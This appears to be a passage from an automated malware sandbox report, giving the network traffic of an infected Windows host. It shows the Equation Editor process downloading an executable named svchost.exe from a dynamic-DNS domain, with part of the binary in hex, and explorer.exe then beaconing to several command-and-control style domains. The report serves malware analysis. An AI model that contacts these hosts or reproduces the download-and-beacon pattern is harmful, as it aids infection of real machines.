Jan 27, 2021 07:30:06.734857082 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.735893965 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:07.335195065 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:31:11.284110069 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 07:31:11.325980902 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 07:31:11.326080084 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 07:31:11.326402903 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 07:31:11.366601944 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 07:31:11.466603041 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 07:31:11.466624022 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 07:31:11.466769934 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 07:31:11.466914892 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 07:31:11.508987904 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 07:31:21.680130959 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:21.840553045 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:21.840723991 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:21.841068983 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:22.034466028 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:22.034526110 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:22.034557104 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:22.034903049 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:22.035063028 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:22.111012936 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:22.111098051 CET	49167	80	192.168.2.22	208.91.197.91
Jan 27, 2021 07:31:22.195940971 CET	80	49167	208.91.197.91	192.168.2.22
Jan 27, 2021 07:31:27.147031069 CET	49168	80	192.168.2.22	44.240.171.172
Jan 27, 2021 07:31:27.350439072 CET	80	49168	44.240.171.172	192.168.2.22
Jan 27, 2021 07:31:27.350557089 CET	49168	80	192.168.2.22	44.240.171.172
Jan 27, 2021 07:31:27.350853920 CET	49168	80	192.168.2.22	44.240.171.172
Jan 27, 2021 07:31:27.551836014 CET	80	49168	44.240.171.172	192.168.2.22
Jan 27, 2021 07:31:27.580075026 CET	80	49168	44.240.171.172	192.168.2.22
Jan 27, 2021 07:31:27.580116034 CET	80	49168	44.240.171.172	192.168.2.22
Jan 27, 2021 07:31:27.580391884 CET	49168	80	192.168.2.22	44.240.171.172
Jan 27, 2021 07:31:27.580526114 CET	49168	80	192.168.2.22	44.240.171.172
Jan 27, 2021 07:31:27.781492949 CET	80	49168	44.240.171.172	192.168.2.22
Jan 27, 2021 07:31:32.802923918 CET	49169	80	192.168.2.22	192.185.35.76
Jan 27, 2021 07:31:32.963324070 CET	80	49169	192.185.35.76	192.168.2.22
Jan 27, 2021 07:31:32.963560104 CET	49169	80	192.168.2.22	192.185.35.76
Jan 27, 2021 07:31:32.963877916 CET	49169	80	192.168.2.22	192.185.35.76
Jan 27, 2021 07:31:33.122912884 CET	80	49169	192.185.35.76	192.168.2.22
Jan 27, 2021 07:31:33.195858955 CET	80	49169	192.185.35.76	192.168.2.22
Jan 27, 2021 07:31:33.195899963 CET	80	49169	192.185.35.76	192.168.2.22
Jan 27, 2021 07:31:33.196131945 CET	49169	80	192.168.2.22	192.185.35.76
Jan 27, 2021 07:31:33.196203947 CET	49169	80	192.168.2.22	192.185.35.76
Jan 27, 2021 07:31:33.356208086 CET	80	49169	192.185.35.76	192.168.2.22
Jan 27, 2021 07:31:38.565473080 CET	49170	80	192.168.2.22	154.196.151.25
Jan 27, 2021 07:31:38.792612076 CET	80	49170	154.196.151.25	192.168.2.22
Jan 27, 2021 07:31:38.792753935 CET	49170	80	192.168.2.22	154.196.151.25
Jan 27, 2021 07:31:38.792879105 CET	49170	80	192.168.2.22	154.196.151.25
Jan 27, 2021 07:31:39.019877911 CET	80	49170	154.196.151.25	192.168.2.22
Jan 27, 2021 07:31:39.023871899 CET	80	49170	154.196.151.25	192.168.2.22
Jan 27, 2021 07:31:39.023917913 CET	80	49170	154.196.151.25	192.168.2.22
Jan 27, 2021 07:31:39.024149895 CET	49170	80	192.168.2.22	154.196.151.25
Jan 27, 2021 07:31:39.024203062 CET	49170	80	192.168.2.22	154.196.151.25
Jan 27, 2021 07:31:39.251140118 CET	80	49170	154.196.151.25	192.168.2.22
Jan 27, 2021 07:31:44.123425007 CET	49171	80	192.168.2.22	166.62.29.42
Jan 27, 2021 07:31:44.337057114 CET	80	49171	166.62.29.42	192.168.2.22
Jan 27, 2021 07:31:44.337204933 CET	49171	80	192.168.2.22	166.62.29.42
Jan 27, 2021 07:31:44.337500095 CET	49171	80	192.168.2.22	166.62.29.42
Jan 27, 2021 07:31:44.549576998 CET	80	49171	166.62.29.42	192.168.2.22
Jan 27, 2021 07:31:45.363847971 CET	49171	80	192.168.2.22	166.62.29.42
Jan 27, 2021 07:31:45.618700027 CET	80	49171	166.62.29.42	192.168.2.22
Jan 27, 2021 07:31:45.751564980 CET	80	49171	166.62.29.42	192.168.2.22
Jan 27, 2021 07:31:45.751605988 CET	80	49171	166.62.29.42	192.168.2.22
Jan 27, 2021 07:31:45.751746893 CET	49171	80	192.168.2.22	166.62.29.42
Jan 27, 2021 07:31:45.751821995 CET	49171	80	192.168.2.22	166.62.29.42

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 07:30:04.319606066 CET	52197	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:30:04.419282913 CET	53	52197	8.8.8.8	192.168.2.22
Jan 27, 2021 07:30:04.419727087 CET	52197	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:30:04.480691910 CET	53	52197	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:11.193767071 CET	53099	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:11.265022039 CET	53	53099	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:21.487876892 CET	52838	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:21.678929090 CET	53	52838	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:27.072844028 CET	61200	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:27.145788908 CET	53	61200	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:32.602803946 CET	49548	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:32.800672054 CET	53	49548	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:38.212694883 CET	55627	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:38.563221931 CET	53	55627	8.8.8.8	192.168.2.22
Jan 27, 2021 07:31:44.057811975 CET	56009	53	192.168.2.22	8.8.8.8
Jan 27, 2021 07:31:44.121485949 CET	53	56009	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 27, 2021 07:30:04.319606066 CET	192.168.2.22	8.8.8.8	0x7745	Standard query (0)	sndychnesqudusissnvx.dns.army	A (IP address)	IN (0x0001)
Jan 27, 2021 07:30:04.419727087 CET	192.168.2.22	8.8.8.8	0x7745	Standard query (0)	sndychnesqudusissnvx.dns.army	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:11.193767071 CET	192.168.2.22	8.8.8.8	0x708c	Standard query (0)	www.inreachpt.com	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:21.487876892 CET	192.168.2.22	8.8.8.8	0xa14d	Standard query (0)	www.athleteshive.com	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:27.072844028 CET	192.168.2.22	8.8.8.8	0xccff	Standard query (0)	www.calusaptamiami.com	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:32.602803946 CET	192.168.2.22	8.8.8.8	0x2e78	Standard query (0)	www.shuhan.design	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:38.212694883 CET	192.168.2.22	8.8.8.8	0x2f03	Standard query (0)	www.rentfs.com	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:44.057811975 CET	192.168.2.22	8.8.8.8	0x3c4e	Standard query (0)	www.trijjadigital.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 27, 2021 07:30:04.419282913 CET	8.8.8.8	192.168.2.22	0x7745	No error (0)	sndychnesqudusissnvx.dns.army		103.141.138.125	A (IP address)	IN (0x0001)
Jan 27, 2021 07:30:04.480691910 CET	8.8.8.8	192.168.2.22	0x7745	No error (0)	sndychnesqudusissnvx.dns.army		103.141.138.125	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:11.265022039 CET	8.8.8.8	192.168.2.22	0x708c	No error (0)	www.inreachpt.com	inreachpt.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 07:31:11.265022039 CET	8.8.8.8	192.168.2.22	0x708c	No error (0)	inreachpt.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:21.678929090 CET	8.8.8.8	192.168.2.22	0xa14d	No error (0)	www.athleteshive.com		208.91.197.91	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:27.145788908 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	www.calusaptamiami.com	calusapta.membershiptoolkit.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 07:31:27.145788908 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	calusapta.membershiptoolkit.com	mtk-lb-1470093426.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 07:31:27.145788908 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	mtk-lb-1470093426.us-west-2.elb.amazonaws.com		44.240.171.172	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:27.145788908 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	mtk-lb-1470093426.us-west-2.elb.amazonaws.com		44.239.20.8	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:27.145788908 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	mtk-lb-1470093426.us-west-2.elb.amazonaws.com		35.162.176.29	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:32.800672054 CET	8.8.8.8	192.168.2.22	0x2e78	No error (0)	www.shuhan.design	shuhan.design		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 07:31:32.800672054 CET	8.8.8.8	192.168.2.22	0x2e78	No error (0)	shuhan.design		192.185.35.76	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:38.563221931 CET	8.8.8.8	192.168.2.22	0x2f03	No error (0)	www.rentfs.com		154.196.151.25	A (IP address)	IN (0x0001)
Jan 27, 2021 07:31:44.121485949 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	www.trijjadigital.com	trijjadigital.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 07:31:44.121485949 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	trijjadigital.com		166.62.29.42	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

sndychnesqudusissnvx.dns.army

www.inreachpt.com

www.athleteshive.com

www.calusaptamiami.com

www.shuhan.design

www.rentfs.com

www.trijjadigital.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	103.141.138.125	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:30:04.721498013 CET	0	OUT	GET /documengt/svchost.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: sndychnesqudusissnvx.dns.army Connection: Keep-Alive
Jan 27, 2021 07:30:04.945147038 CET	2	IN	HTTP/1.1 200 OK Date: Wed, 27 Jan 2021 06:30:02 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38 Last-Modified: Wed, 27 Jan 2021 03:46:13 GMT ETag: "df000-5b9d99cd20d8a" Accept-Ranges: bytes Content-Length: 913408 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e2 e1 10 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 e4 0d 00 00 0a 00 00 00 00 00 00 b6 02 0e 00 00 20 00 00 00 20 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 02 0e 00 4f 00 00 00 00 20 0e 00 cc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc e2 0d 00 00 20 00 00 00 e4 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cc 06 00 00 00 20 0e 00 00 08 00 00 00 e6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 ee 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 02 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 98 43 02 00 24 5c 01 00 03 00 00 00 01 00 00 06 bc 9f 03 00 a8 62 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1d 00 00 0a 28 1e 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 1f 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 20 00 00 0a 00 02 16 28 21 00 00 0a 00 02 17 28 22 00 00 0a 00 02 17 28 23 00 00 0a 00 02 17 28 24 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 70 04 00 06 28 25 00 00 0a 00 2a 26 00 02 28 26 00 00 0a 00 2a ce 73 27 00 00 0a 80 01 00 00 04 73 28 00 00 0a 80 02 00 00 04 73 29 00 00 0a 80 03 00 00 04 73 2a 00 00 0a 80 04 00 00 04 73 2b 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 2d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 2e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 2f 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 30 00 00 0a 0a 2b 00 06 2a 26 00 02 28 31 00 00 0a 00 2a 00 00 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 32 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 33 00 00 0a 6f 34 00 00 0a 73 35 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 01 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL`P @ `@dO @ H.text `.rsrc @@.reloc@@BHC$\b0(((o( (!("(#($N(op(%&(&s's(s)ss+0~o,+0~o-+0~o.+0~o/+0~o0+&(10<~(2,!rp(3o4s5~+*0
Jan 27, 2021 07:30:04.945207119 CET	3	IN	Data Raw: 0b 00 00 00 07 00 00 11 00 7e 07 00 00 04 0a 2b 00 06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 0c 00 00 06 72 2f 00 00 70 7e 07 00 00 04 6f 36 00 00 0a 28 37 00 00 0a 0b 07 74 26 00 00 01 0a 2b 00 06 2a 00 00 13 30 Data Ascii: ~+"0&(r/p~o6(7t&+0<~(2,!rEp(3o4s5~+0~+"0&(rwp~o6(7t&+*0&
Jan 27, 2021 07:30:04.945242882 CET	5	IN	Data Raw: 04 02 28 2a 00 00 06 00 2a 00 1b 30 02 00 31 00 00 00 09 00 00 11 00 00 03 2c 0b 02 7b 0d 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0d 02 7b 0d 00 00 04 6f 47 00 00 0a 00 00 00 de 0a 00 02 03 28 48 00 00 0a 00 dc 00 2a 00 00 00 01 10 00 00 02 00 01 00 Data Ascii: (*01,{+,{oG(H$%0sIo,sJo.sJo0sKo2sKo4sLo6sLo8sMo:sNo<sLo>sJo@sKoB
Jan 27, 2021 07:30:04.945281982 CET	6	IN	Data Raw: 18 72 bf 02 00 70 a2 6f 69 00 00 0a 00 02 6f 39 00 00 06 1c 1f 7c 73 52 00 00 0a 6f 53 00 00 0a 00 02 6f 39 00 00 06 72 cf 02 00 70 6f 54 00 00 0a 00 02 6f 39 00 00 06 20 be 00 00 00 1f 15 73 55 00 00 0a 6f 56 00 00 0a 00 02 6f 39 00 00 06 1f 5c Data Ascii: rpoio9\|sRoSo9rpoTo9 sUoVo9\oWo;(codo;ojo3oko;ojo9oko;ojo7oko;ojo5oko;ojo-oko;ojo1ok
Jan 27, 2021 07:30:05.167690992 CET	7	IN	Data Raw: 00 02 28 6a 00 00 0a 02 6f 3d 00 00 06 6f 6b 00 00 0a 00 02 28 6a 00 00 0a 02 6f 3f 00 00 06 6f 6b 00 00 0a 00 02 28 6a 00 00 0a 02 6f 3b 00 00 06 6f 6b 00 00 0a 00 02 28 6a 00 00 0a 02 6f 2b 00 00 06 6f 6b 00 00 0a 00 02 17 6f 75 00 00 0a 00 02 Data Ascii: (jo=ok(jo?ok(jo;ok(jo+okourp(T(vo+owo;oxo;oy(x(y&{+"}&{+07KsB{,oz}{
Jan 27, 2021 07:30:05.167731047 CET	9	IN	Data Raw: 00 0a 16 6f 98 00 00 0a 72 45 06 00 70 6f 99 00 00 0a 28 9a 00 00 0a 7d 22 00 00 04 02 6f 45 00 00 06 02 7b 20 00 00 04 6f 96 00 00 0a 16 6f 98 00 00 0a 72 45 06 00 70 6f 99 00 00 0a 28 9b 00 00 0a 6f 6d 00 00 0a 00 02 6f 47 00 00 06 02 7b 20 00 Data Ascii: orEpo(}"oE{ oorEpo(omoG{ oor_po(om+rip(&'%(rpo((&({o{oo=rpom*A47
Jan 27, 2021 07:30:05.167752028 CET	10	IN	Data Raw: 00 0a 6f 5f 00 00 0a 00 02 6f 53 00 00 06 1f 0c 1f 73 73 52 00 00 0a 6f 53 00 00 0a 00 02 6f 53 00 00 06 72 45 02 00 70 6f 54 00 00 0a 00 02 6f 53 00 00 06 1f 7a 1f 15 73 55 00 00 0a 6f 56 00 00 0a 00 02 6f 53 00 00 06 1f 3d 6f 57 00 00 0a 00 02 Data Ascii: o_oSssRoSoSrEpoToSzsUoVoS=oWoSrpofoU sRoSoUrpoToUoooU sUoVoU<oWoW(oXoW(YoZoWo[oW
Jan 27, 2021 07:30:05.167841911 CET	11	IN	Data Raw: 06 6f 6a 00 00 0a 02 6f 61 00 00 06 6f 6b 00 00 0a 00 02 6f 63 00 00 06 6f 6a 00 00 0a 02 6f 65 00 00 06 6f 6b 00 00 0a 00 02 6f 63 00 00 06 20 b6 00 00 00 1f 28 73 52 00 00 0a 6f 53 00 00 0a 00 02 6f 63 00 00 06 72 e7 02 00 70 6f 54 00 00 0a 00 Data Ascii: ojoaokocojoeokoc (sRoSocrpoToc '2sUoVocBoWocoloe(oXoe(YoZoeo[oerp"@As\o]oe(^o_oe sR
Jan 27, 2021 07:30:05.167870998 CET	13	IN	Data Raw: 06 6f 8f 00 00 0a 72 25 0c 00 70 28 93 00 00 0a 7d 33 00 00 04 02 72 7b 0c 00 70 02 6f 61 00 00 06 6f 8f 00 00 0a 72 e7 0c 00 70 28 93 00 00 0a 7d 34 00 00 04 00 02 7b 32 00 00 04 6f 80 00 00 0a 00 02 7b 30 00 00 04 02 7b 33 00 00 04 6f 83 00 00 Data Ascii: or%p(}3r{poaorp(}4{2o{0{3o{1{0o{1{2o&{2oo,-oY{2oorpo(om{2o{0{4o{1{0o{1
Jan 27, 2021 07:30:05.167903900 CET	14	IN	Data Raw: 76 00 00 01 25 16 7e 36 00 00 04 a2 25 17 7e 37 00 00 04 a2 25 18 72 21 0f 00 70 a2 a2 6f a5 00 00 0a 26 1f 17 8c 85 00 00 01 0a 2b 00 06 2a 00 13 30 03 00 43 00 00 00 00 00 00 00 02 28 41 00 00 0a 00 02 02 fe 06 86 00 00 06 73 42 00 00 0a 28 43 Data Ascii: v%~6%~7%r!po&+0C(AsB(CsD}CsE}DsF}E(s01,{8+,{8oG(H*$%0sJousJow
Jan 27, 2021 07:30:05.168859005 CET	16	IN	Data Raw: 7e 00 00 06 72 23 02 00 70 6f 54 00 00 0a 00 02 6f 7e 00 00 06 20 b0 00 00 00 1f 15 73 55 00 00 0a 6f 56 00 00 0a 00 02 6f 7e 00 00 06 1f 44 6f 57 00 00 0a 00 02 6f 7e 00 00 06 72 91 07 00 70 6f 66 00 00 0a 00 02 6f 80 00 00 06 17 6f 62 00 00 0a Data Ascii: ~r#poTo~ sUoVo~DoWo~rpofoobo(codorp"dAs\o]o(eo_o\|sRoSorEpoTozsUoVoCoWorpofo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:11.326402903 CET	963	OUT	GET /gqx2/?FH=Z6A4l46h&LBbXpL=9/BKDbjWJTW8jFQit4UrkvSCkC6DC2Rftex5RF517dla63TUfiGzTVS9eU2a+MLpIdlY9g== HTTP/1.1 Host: www.inreachpt.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:11.466603041 CET	963	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 27 Jan 2021 06:31:11 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d16-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:21.841068983 CET	964	OUT	GET /gqx2/?FH=Z6A4l46h&LBbXpL=kdwz49RbWZyfRfVFqlgC7QJtxuB/meiNTkA5ikaSnjB/7w8EYdi6OSMNUeLU1PJtCjvO1w== HTTP/1.1 Host: www.athleteshive.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:22.034466028 CET	965	IN	HTTP/1.1 200 OK Date: Wed, 27 Jan 2021 06:31:21 GMT Server: Apache Set-Cookie: vsid=928vr3592746819837453; expires=Mon, 26-Jan-2026 06:31:21 GMT; Max-Age=157680000; path=/; domain=www.athleteshive.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_oE/e+iYl6TsGzJEjuL+8jjJEHzG6QJLXRsCWMmQDJITFgbcSKDwRgNYMdykZ1gQM22XWxBBgsAO38NW//2M1jQ== Content-Length: 2608 Keep-Alive: timeout=5, max=10 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 74 68 6c 65 74 65 73 68 69 76 65 2e 63 6f 6d 2f 3f 66 70 3d 46 6a 55 33 55 36 49 36 36 6c 35 25 32 46 6b 54 41 5a 77 69 39 34 56 6c 77 57 6d 73 39 6e 73 77 37 43 42 4e 61 66 59 72 31 35 52 41 46 69 48 46 68 4f 44 36 48 49 5a 51 25 32 42 39 63 25 32 46 72 76 56 4a 50 4a 6a 6a 6b 74 31 62 42 53 25 32 42 5a 75 78 79 54 72 38 76 51 47 51 34 37 72 52 33 25 32 46 74 6e 57 67 25 32 42 48 78 69 56 56 55 55 44 74 66 43 4f 62 63 76 64 5a 72 66 70 43 45 50 50 59 75 57 25 32 42 37 69 45 77 62 6d 76 4d 30 65 64 77 59 25 32 46 41 4e 75 70 6a 58 6d 7a 33 6d 52 57 4e 6c 6c 43 54 41 4b 37 62 66 30 43 35 6a 79 6c 50 4c 58 75 66 59 25 33 44 26 70 72 76 74 6f 66 3d 48 57 4d 45 6f 72 25 32 46 6e 6f 6e 4d 4f 51 4b 36 31 66 4f 67 6f 44 76 71 61 30 74 4c 78 68 52 4b 70 35 6b 4c 6c 6c 41 57 38 51 7a 77 25 33 44 26 70 6f 72 75 3d 54 30 36 30 68 54 64 25 32 46 54 65 50 62 45 76 68 38 6b 6d 5a 4d 65 5a 73 31 36 41 38 56 44 44 4a 47 54 6c 41 41 4e 6a 52 37 75 74 4c 4a 59 6f 34 42 57 70 63 42 44 66 70 25 32 46 73 37 4d 36 6f 52 30 4b 42 4d 65 78 74 56 6f 37 45 41 41 61 61 64 4f 72 69 67 4f 66 51 67 6d 73 25 32 46 35 54 4f 49 74 31 4b 5a 30 72 62 34 4a 33 58 43 44 57 41 59 79 43 31 7a 33 41 5a 6c 55 45 46 71 4b 74 42 50 6f 4c 36 7a 4d 4b 42 5a 39 7a 6e 6d 35 49 71 74 50 25 32 42 41 70 70 75 70 45 7a 52 41 6a 41 37 42 50 64 79 36 30 42 55 33 76 41 69 43 45 73 61 38 77 6d 46 32 6d 32 51 51 42 53 25 32 46 52 62 45 30 56 4f 69 54 45 26 63 69 66 72 3d 31 26 46 48 3d 5a 36 41 34 6c 34 36 68 26 4c 42 62 58 70 4c 3d 6b 64 77 7a 34 39 52 62 57 5a 79 66 52 66 56 46 71 6c 67 43 37 51 4a 74 78 75 42 25 32 46 6d 65 69 4e 54 6b 41 35 69 6b 61 53 6e 6a 42 25 32 46 37 77 38 45 59 64 69 36 4f 53 4d 4e 55 65 4c 55 31 50 4a 74 43 6a 76 4f 31 77 25 33 44 25 33 44 22 3b 0d 0a 09 2f 2a 0d 0a 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 